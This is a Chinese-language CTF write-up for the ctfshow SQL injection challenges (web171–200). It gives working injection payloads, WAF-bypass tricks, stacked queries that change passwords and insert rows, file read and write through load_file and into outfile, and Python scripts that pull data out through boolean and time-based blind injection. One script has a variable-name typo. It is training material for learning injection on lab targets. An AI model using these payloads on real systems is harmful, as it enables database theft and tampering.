web171-联合注入

初步判断为字符型注入
查看列数,4的时候报错,故为3列
1’ order by 3—+
查看显示位
1’ and 1=2 union select 1,2,3—+
查表名
1’ and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()—+
image.png
查列名
1’ and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’ctfshow_user’—+
image.png
1’ and 1=2 union select 1,group_concat(username),group_concat(password) from ctfshow_user—+
在最后一条记录里找到flag
image.png

web172-字符串全匹配限制

显示内容等于’flag’则过滤掉

//检查结果是否有flag
if($row->username!==’flag’) { $ret[‘msg’]=’查询成功’;
}

与上题相比发现仅两处显示,flag在ctfshow_user2中
1’ order by 2—+
1’ and 1=2 union select 1,2—+
1’ and 1=2 union select 2,group_concat(table_name) from information_schema.tables where table_schema=database()—+
image.png
1’ and 1=2 union select 2,group_concat(column_name) from information_schema.columns where table_name=’ctfshow_user2’—+
本题考察点是过滤掉字符串等于’flag’的内容,但使用group_concat函数后,username是一个用户集合组成的字符串,不等于’flag’
1’ and 1=2 union select group_concat(username),group_concat(password) from ctfshow_user2 —+
image.png
当然,直接显示username更简单
1’ and 1=2 union select 2,password from ctfshow_user2 —+
image.png

web173-字符串部分匹配限制

本题返回结果中过滤掉flag字符串

//检查结果是否有flag
if(!preg_match(‘/flag/i’, json_encode($ret))) {
$ret[‘msg’]=’查询成功’;
}

由上题可知username=flag对应的password是正确的结果,但本题显示字符串中存在与’flag’相匹配的字符串即过滤掉,所以group_concat函数无法绕过;
可考虑对username字段加hex函数,以十六进制显示
1’ and 1=2 union select 1,group_concat(hex(username)),group_concat(password) from ctfshow_user3 —+
image.png
当然,直接显示username更简单
1’ and 1=2 union select 1,2,group_concat(password) from ctfshow_user3 —+
image.png

web174-真假回显

显示内容过滤掉flag以及数字

//检查结果是否有flag
if(!preg_match(‘/flag|[0-9]/i’, json_encode($ret))) { $ret[‘msg’]=’查询成功’;
}

因为不能限制0-9的数字,查看显示位时换成字母’a’,’b’
1’ and 1=2 union select ‘a’,’b’—+

方法一 字符替换

使用replace函数将限制的字符替换掉
1’ and 1=2 union select ‘b’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,’flag’,’zzzz’),’0’,’A’),’1’,’B’),’2’,’C’),’3’,’D’),’4’,’E’),’5’,’F’),’6’,’G’),’7’,’H’),’8’,’I’),’9’,’J’) from ctfshow_user4 where username=’flag’—+
image.png
得到替换后的flag字符串,ctfshow{AHEGAIBF-HCDe-ECBE-acJB-fFGGbeHbbIaA}
如果担心原flag中包含大写字母,可以将数字都替换成
1’ and 1=2 union select ‘b’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,’flag’,’zzzz’),’0’,’
‘),’1’,’‘),’2’,’‘),’3’,’‘),’4’,’‘),’5’,’‘),’6’,’‘),’7’,’‘),’8’,’‘),’9’,’*’) from ctfshow_user4 where username=’flag’—+

ctfshow{**-e-*-ac-f*bebba*}替换位置一致,说明原flag中并无大写字母

然后还原即可ctfshow{07460815-723e-4214-ac91-f566be7bb8a0}

  1. str = 'ctfshow{AHEGAIBF-HCDe-ECBE-acJB-fFGGbeHbbIaA}'
  2. flag = ''
  3. for s in str:
  4. if s >= 'A' and s <= 'J':
  5. s = chr(ord(s) - 17)
  6. print(s)
  7. flag += s
  8. print(flag)

方法二 布尔盲注

当输入为真时 显示admin,为假时则无输出,可以通过判断是否输出admin作为真假的依据
image.png
image.png
burp抓包查看到get请求
image.png

#coding:utf-8
import requests
session=requests.session()
url="http://2e364a15-ceb4-4ac7-9996-cdd6a45480cb.challenge.ctf.show//api/v4.php?id=1' "
flag=''
for i in range(1,50):
    print(i)
    for j in range(38,128):#38 128
        #跑库名 ctfshow_web
        #mid函数用于获取字符串的一部分 MID(column_name,start[,length])
        # payload="and case ord(mid(database() from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
        #跑表名 ctfshow_user4
        # payload = "and case ord(mid((select group_concat(table_name) from information_schema.tables \
        # where table_schema=database()) from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
        #跑列名 id,username,password
        # payload = "and case ord(mid((select group_concat(column_name) from information_schema.columns \
        # where table_name='ctfshow_user4') from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
        #跑flag
        payolad = "and case ord(mid((select password from ctfshow_user4 where username='flag') from {0} for 1)) when {1} then 1 else 0 end--+".format(i, j)
        r = session.get(url=url + payload)
        # 当爆出完整的名称后自动停止程序,127非打印字符,当爆破完整名称后下一个字符j会到127故退出程序
        if j==127:
            exit()
        # 题中如果正确返回 admin,故判断admin在返回字符串中表示爆出对应字符,次循环跳出
        if "admin" in r.text:
            flag+=chr(j)
            print(flag)
            break

web175-无回显

ascii码表中字符全限制

//检查结果是否有flag
if(!preg_match(‘/[\x00-\x7f]/i’, json_encode($ret))) { $ret[‘msg’]=’查询成功’;
}

通过测试发现可以使用时间盲注
1’ and if(1=1,sleep(3),1)—+
1’ and if(1=0,sleep(3),1)—+
image.png

方法一 时间盲注

二分法时间盲注脚本

import requests
import time
url = "http://ae093e25-c4fc-4bad-9208-e70a334d4ac4.challenge.ctf.show/api/v5.php?id=1' and "
result = ''

for i in range(1,50):
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2
        #跑库名
        # payload = '1=if(ord(mid(database() from {0} for 1))>{1},sleep(2),1) --+'.format(i, mid)
        # 跑表名
        # payload = "1=if(ord(mid((select group_concat(table_name) from information_schema.tables \
        # where table_schema=database()) from {0} for 1))>{1},sleep(2),1) --+".format(i, mid)
        # 跑列名
        # payload = "1=if(ord(mid((select group_concat(column_name) from information_schema.columns \
        # where table_name='ctfshow_user5') from {0} for 1))>{1},sleep(2),1) --+".format(i, mid)
        # 跑flag 
        payload = "1=if(ord(mid((select password from ctfshow_user5 where username='flag') from {0} for 1))>{1},sleep(2),1) --+".format(i, mid)
        start_time = time.time()
        r = requests.get(url + payload)
        end_time = time.time()
        if end_time - start_time > 1.5:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

方法二 outfile写入文件

可以考虑写入文件的方式输出
1’ union select username,password from ctfshow_user5 into outfile ‘/var/www/html/w123.txt’—+
image.png
在读取文件可看到输出结果
image.png

web 176-关键字过滤

该题对union select等关键字做了过滤,通过大写字母绕过
1’ and 1=2 Union Select 1,group_concat(username),group_concat(password) from ctfshow_user—+

web 177-空格、#过滤

号、空格被过滤,用%23替换#号,用/**/(tab的url编码)替换空格
image.png

image.png
1’//and//1=2//union//select//1,group_concat(username),group_concat(password)//from/**/ctfshow_user%23

web 178-空格、#过滤

(1)/**/替换空格失效后
(2)用url编码替换即可 %09 %0a %0b %0c %0d
1’%09and%091=2%09union%09select%091,group_concat(username),group_concat(password)%09from%09ctfshow_user%23
(3)用括号替换空格
1’union(select(1),2,(group_concat(password))from(ctfshow_user))%23

web 179-空格、#过滤

(1)%0c替换空格可行,其余均无效
(2)万能密码 1’or’1’=’1’%23
image.png

web 180-空格、#过滤

被彻底禁止了,只能用’1’=’1来闭合
1’%0cand%0c1=2%0cunion%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c’1’=’1

学习大神的wp
‘or(id=26)and’1’=’1
与原sql拼接为
where username !=’flag’ and id = ‘’or(id=26)and’1’=’1’ limit 1;
由于and的优先级大于or
where (username !=’flag’ and id = ‘’) or ((id=26)and’1’=’1’) limit 1;

web 181-空格、#过滤

//对传入的参数进行了过滤
function waf($str) {
return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|#|file|into|select/i’, $str);
}

(1)构造恒等式,999是想查看最后一条记录
999’%0cor%0cusername=’flag
构造后的完整sql语句为:
select id,username,password from ctfshow_user where username !=’flag’ and id = ‘999’%0cor%0cusername=’flag’ limit 1;

(2)使用无空格一句话绕过
‘or(id=26)and’1’=’1

web 182-空格、#过滤

//对传入的参数进行了过滤
function waf($str) { return preg_match(‘/ |*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|#|file|into|select|flag/i’, $str);
}

(1)构造恒等式,在上题的基础上过滤了字符串flag,使用like替换=
999’%0cor%0cusername%0clike%0c’fla%
构造后的完整sql语句为:
select id,username,password from ctfshow_user where username !=’flag’ and id = ‘999’%0cor%0cusername%0clike%0c’fla%’ limit 1;

(2)使用无空格一句话绕过
‘or(id=26)and’1’=’1

web 183-count(*)爆破字段内容

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";  # 说明是post传参,只能查询出pass字段内容的字符长度

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }

查询结果

//返回用户表的记录总数
      $user_count = 0;  # 存在的情况下则返回非零

根据题意,应该是考察盲注-字段内容爆破
先在hackbar中构造payload验证一下:
根据前面的题目知道存在在ctfshow_user表中,就直接用了
image.png
过滤了空格,可使用反引号`进行分割
image.png

然后编写盲注脚本跑出结果

#encoding: utf-8
import requests
import time

# 存在sql注入的页面地址
url = "http://0d5362e0-13de-4384-9ca6-e6773a6567d9.challenge.ctf.show/select-waf.php"
# 字典
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
# 最终被爆出的内容
flag = ""

# 第一个循环设置需爆破的字符串内容长度
for i in range(0,25):
    print(i)
    for j in words:
        payload = "`ctfshow_user`where`pass`regexp(\"ctfshow{0}\")"
        data = {
            "tableName":payload.format(flag+j)
        }
        r = requests.post(url, data=data)
        time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求

        # find() 如果包含子字符串返回开始的索引值,否则返回-1
        # 判断页面返回内容是否包含"user_count = 1;"
        if r.text.find("user_count = 1;")>0:
            flag += j
            print(flag)
            break

web 184-count(*)爆破字段内容,过滤where、引号

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";  # 说明是post传参,只能查询出pass字段内容的字符长度

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

查询结果

//返回用户表的记录总数
      $user_count = 0;  # 存在的情况下则返回非零

在上题的基础上,改变了过滤的字符:
空格不过滤了,过滤where,’,”,`,那么关键在于找到替换where的方法

having替换where

原表
image.png
having筛选后
image.png
如果有聚合函数,需要group by指定分组字段
image.png

right join on替换where

由于on后面也能接筛选条件,便可利用这一特性替换where做筛选,然后通过结果集的条数不同进行判断
value=123存在
image.png
value=555不存在
image.png

十六进制数代替字符串

原语句中regexp(“ctfshow”),双引号被过滤了,可将字符串转成十六进制数regexp(0x63746673686f77)
image.png

在hackbar中尝试payload是否正确
tableName=ctfshow_user group by pass having pass regexp(0x63746673686f77)
image.png
或者
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x63746673686f77)
image.png

然后直接在上一个脚本修改payload即可

#encoding: utf-8
import requests
import time

# 存在sql注入的页面地址
url = "http://627ef1b6-8e48-427e-9df3-2dc86f8d0e09.challenge.ctf.show/select-waf.php"
# 字典
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
# 最终被爆出的内容
flag = "ctfshow{"

# 第一个循环设置需爆破的字符串内容长度
for i in range(0,50):
    print(i)
    for j in words:
        payload = "ctfshow_user group by pass having pass regexp({0})"
        # payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp({0})"  # user_count = 43;
        hexflag = hex(int.from_bytes(str.encode(flag+j), 'big'))
        data = {
            "tableName":payload.format(hexflag)
        }
        r = requests.post(url, data=data)
        time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求

        # find() 如果包含子字符串返回开始的索引值,否则返回-1
        # 判断页面返回内容是否包含"user_count = 1;"
        if r.text.find("user_count = 1;")>0:
            flag += j
            print(flag)
            break

逐字符判断,存在问题不能唯一定位包含flag的记录,导致输出多余的字符

payload = “ctfshow_user as a right join ctfshow_user as b on substr(b.pass,{0},{1}) regexp(char({2}))”.format(i, 1, j) payload = “ctfshow_user group by pass having substr(pass,{0},{1}) regexp(char({2}))”.format(i, 1, j)

image.png
为避免这一问题可用固定头+逐字符结合的方式来定位
如:
ctfshow{a
ctfshow{f
ctfshow{}
payload调整为:

payload = “ctfshow_user as a right join ctfshow_user as b on concat(char(99,116,102,115,104,111,119,123),substr(b.pass,{0},{1})) regexp(concat(char(99,116,102,115,104,111,119,123),char({2})))”.format(i, 1, j)

char(99,116,102,115,104,111,119,123) => ctfshow{

web 185-186-count(*)爆破字段内容,过滤数字

返回逻辑

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

在上题的基础上进一步限制了数字,所以十六进制的方式也失效了,需要找到替换数字的方法

mysql中false表示0,true表示1
image.png
true+true叠加可构造其他数字
image.png
也可结合concat函数可构造多位数
image.png

先验证payload是否可用
tableName=ctfshow_user group by pass having substr(pass,true,true) regexp(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))
image.png

集合184逐字符验证的脚本,将数字替换成true即可

#encoding: utf-8
import requests
import time

# 存在sql注入的页面地址
url = "http://e60ab946-1fc5-48ad-a297-82d1fd640906.challenge.ctf.show/select-waf.php"

words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

# 最终被爆出的内容
flag = "ctfshow{"

# 数字替换true
def tNum(n):
    num = 'true'
    if n == 1:
        return num
    else:
        for i in range(n - 1):
            num += "+true"
    return num


# 字符串索引
for i in range(9,50):
    print(i)
    # ascii码
    for k in words:
        j = ord(k)

        payload = "ctfshow_user group by pass having concat(char({3},{4},{5},{6},{7},{8},{9},{10}),substr(pass,{0},{1})) \
        regexp(concat(char({3},{4},{5},{6},{7},{8},{9},{10}),char({2})))"
        data = {
            "tableName": payload.format(tNum(i), tNum(1), tNum(j), tNum(99),tNum(116),tNum(102),tNum(115),tNum(104),tNum(111),tNum(119),tNum(123))
        }
        #print(data)
        r = requests.post(url, data=data)
        time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求

        # find() 如果包含子字符串返回开始的索引值,否则返回-1
        # 判断页面返回内容是否包含"user_count = 1;"
        if r.text.find("user_count = 1;")>0:
            flag += chr(j)
            print(flag)

web 187-md5($_POST[‘password’],true);

查询语句

//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回逻辑

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

分析:
题目以及给定username必须为admin,那么注入点就在password中,希望能构造出password = 恒真的语句,但是password需经过md5函数处理,也就是说处理后的md5编码被mysql解析后的字符串应该是个恒真条件

网上直接找了个满足条件的字符串:ffifdyop

原字符串:ffifdyop
MD5加密:276f722736c95d99e921722cf9ed621c
将以上字符串看作16位hex编码,再转字符串得到
'or'6�]��!r,��b

那么查询语句变成
select count(*) from ctfshow_user where username = ‘admin’ and password= ‘’or’6�]��!r,��b’
or的后面有值,则为真

抓包后获得flag

web 188-弱类型比较

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

第一步:查询语句中 username = {$username} 没有引号保护,可以弱类型比较的特性:字符串和数值作比较,字符串会转换成数值,弱以字符开头,则为0,以数字开头则等于对应数字
‘admin’ ——>0
‘3admin’——>3
如下原表:
image.png
由于username都是以字符开头,在转换成数值后均看作0,因此可以输出结果
image.png

第二步,代码审计后,可以看出需要突破$row[‘pass’]==intval($password),==明显是弱类型比较的问题。intval()函数是获取变量的整数值,相当于把输入的字符串转换成数值。
本题应该存在0开头的密码,输入0后尝试成功
image.png

payload:
username=1||1&password=0
username=0&password=0

web 189-盲注、读文件

hint:flag在api/index.php文件中
根据提示应该是要读取api/index.php这个文件
查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

根据上题可知username应该等于0,密码判断缺少了intval函数,无法转换成数值,考虑盲注
用户名输入0,密码随便输一个,提示密码错误
image.png
用户名输入1,提示查询失败
image.png
通过返回值的差异,可尝试布尔盲注
构造payload
猜测index.php的第一个字符,我们知道第一个字符是”<”,正确则设置为1,提示查询失败,否则提示密码错误
if(substr(load_file(‘/var/www/html/api/index.php’),1,1)=’<’,1,0)

该方法需要从第一个字符开始爆破直至找到flag,时间花费比较多;题目已提示flag在index.php中,猜测先找到“flag”的位置,再定位爆破
if(locate(‘flag’,load_file(‘/var/www/html/api/index.php’))>258,0,1)
image.png
image.png
可知flag在257的位置,大概从这个范围爆破即可

#encoding: utf-8
import requests
import time

# 存在sql注入的页面地址
url = "http://30c0bf76-ea39-43c2-9a7b-d8c441bd0cff.challenge.ctf.show/api/"
# 字典
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
# 最终被爆出的内容
flag = ""

# 第一个循环设置需爆破的字符串内容长度
for i in range(257,257+60):
    print(i)
    for j in words:
        payload = "if(substr(load_file('/var/www/html/api/index.php'),{0},1)='{1}',1,0)"
        data = {
            "username":payload.format(i, j),
            "password":2
        }
        r = requests.post(url, data=data)
        time.sleep(0.3) # 设置短暂休眠,从而控制每秒发送不超过5个请求

        if r.text.find("u8d25")>0:
            flag += j
            print(flag)
            break

web 190-布尔盲注

hint:不饿,音译是布尔,可知需使用布尔盲注
查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪

通过尝试发现用户名存在注入点,进而可以爆破出表名,列名和内容
image.png
image.png

import requests
import time
url = "http://e6147eee-a02e-4548-a589-db6e03a4a912.challenge.ctf.show/api/"
result = ''

for i in range(1,50):
    print("--------------{0}-------------".format(i))
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2
        # 跑表名 ctfshow_fl0g
        #payload = "admin' and  if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
        # 跑列名 id,f1ag
        #payload = "admin' and  if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{0},1))>{1},1,0)#"
        # 跑flag
        payload = "admin' and  if(ascii(substr((select f1ag from ctfshow_fl0g),{0},1))>{1},1,0)#"
        data = {
            "username": payload.format(i, mid),
            "password": 2
        }

        r = requests.post(url, data=data)
        if "u8bef" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web 191-192-布尔盲注、过滤ascii、ord

由于过滤了ascii、ord等,上题脚本修改payload即可
payload = “admin’ and if(substr((select f1ag from ctfshow_fl0g),{0},1)>char({1}),1,0)#”

web 193-布尔盲注、过滤substr

在上题的基础上进一步过滤的substr,可以使用函数mid代替
MID(column_name,start[,length])
也可写为
MID(column_name from start [for length])

另一个知识点,由于mysql做字符串比较时不区分大小写,所以”a”=”a”和”A”=”a”结果一致
需要在”A”=”a”前加上binary

select if(‘A’=’a’,1,0) as b; —1

select if(binary ‘A’=’a’,1,0) as b; —0

BINARY不是函数,是类型转换运算符,它用来强制它后面的字符串为一个二进制字符串,可以理解为在字符串比较的时候区分大小写
payload更新为
payload = “admin’ and if(binary mid((select f1ag from ctfshow_flxg),{0},1)>char({1}),1,0)#”

web 194-布尔盲注,过滤char

返回逻辑

  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

char函数也被过滤了,直接把字典改成字符串
payload = “admin’ and if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1)=’{1}’,1,0)#”
过滤=,用regexp代替
payload = “admin’ and if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1) regexp(‘{1}’),1,0)#”
使用locate
payload = “admin’ and if(locate(‘{1}’,binary mid((select f1ag from ctfshow_flxg),{0},1))=1,1,0)#”

#coding:utf-8
import requests
session=requests.session()
url="http://3d5a32df-cba2-4892-a7be-0057454036d1.challenge.ctf.show/api/"
words = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

flag='ctfshow{'
for i in range(1,50):
    print(i)
    for j in words:
        # payload = "admin' and  if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1)='{1}',1,0)#"
        # 过滤=,用regexp代替
        # payload = "admin' and  if(binary mid((select f1ag from ctfshow_flxg) from {0} for 1) regexp('{1}'),1,0)#"
        # 使用locate
        payload = "admin' and  if(locate('{1}',binary mid((select f1ag from ctfshow_flxg),{0},1))=1,1,0)#"
        data = {
            "username": payload.format(i, j),
            "password": 2
        }

        r = requests.post(url, data=data)

        if "u8bef" in r.text:
            flag+=j
            print(flag)
            break

web 195-堆叠注入

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

分析可知要求输入的密码与数据库中密码相匹配
使用堆叠注入把密码全给改为123,然后正常登录即可
payload:0x61646d696e;updatectfshow_usersetpass=0x313233

admin; update ctfshow_user set pass=123
需要字符串绕过
空格 ——>``
双引号和单引号——>hex编码
以下两个语句等价
select from test2 where uname=’ls’;
select
from test2 where uname=0x6c73;
image.png

web 196-堆叠注入

在上题的基础上限制了username的长度小于16
用户名:1;select(1)
密码:1
原理:当没有指定记录的之后,仅显示select(1)的内容
select * from temp where username=’a’;select(1);
image.png

web 197-198-堆叠注入,过滤update,create

查询语句

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

返回逻辑

  //TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
  if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  if($row[0]==$password){
      $ret['msg']="登陆成功 flag is $flag";
  }

解题思路跟web 195一样,把指定的用户名、密码写入ctfshow_user表中,但是update和set均被过滤,需要考虑其他的方法。
题目提示了username可以很长,插入一条我们需要的数据即可
payload:

0;insert ctfshow_user(username,pass) value(1,2),(2,3)

补充mysql插入语句的几种方法:
insert temp2(username, pass) value(21,11),(22,22),(23,33);
insert temp2(username, pass) values(21,11),(22,22),(23,33);
insert into temp2(username, pass) value(31,11),(32,22),(33,33);
insert into temp2(username, pass) values(41,11),(42,22),(43,33);
insert into temp2 values(71,11),(72,22);
insert into temp2 value(81,11),(82,22);
insert into temp2 set username=51, pass=11;
insert temp2 set username=61, pass=11;

web 199-200-堆叠注入,show tables

与web 196原理一样,前面条件查询不到数据,仅显示show tables的内容,而ctfshow_user是我们已知的表名作为密码
image.png
payload:

0;show tables; ctfshow_user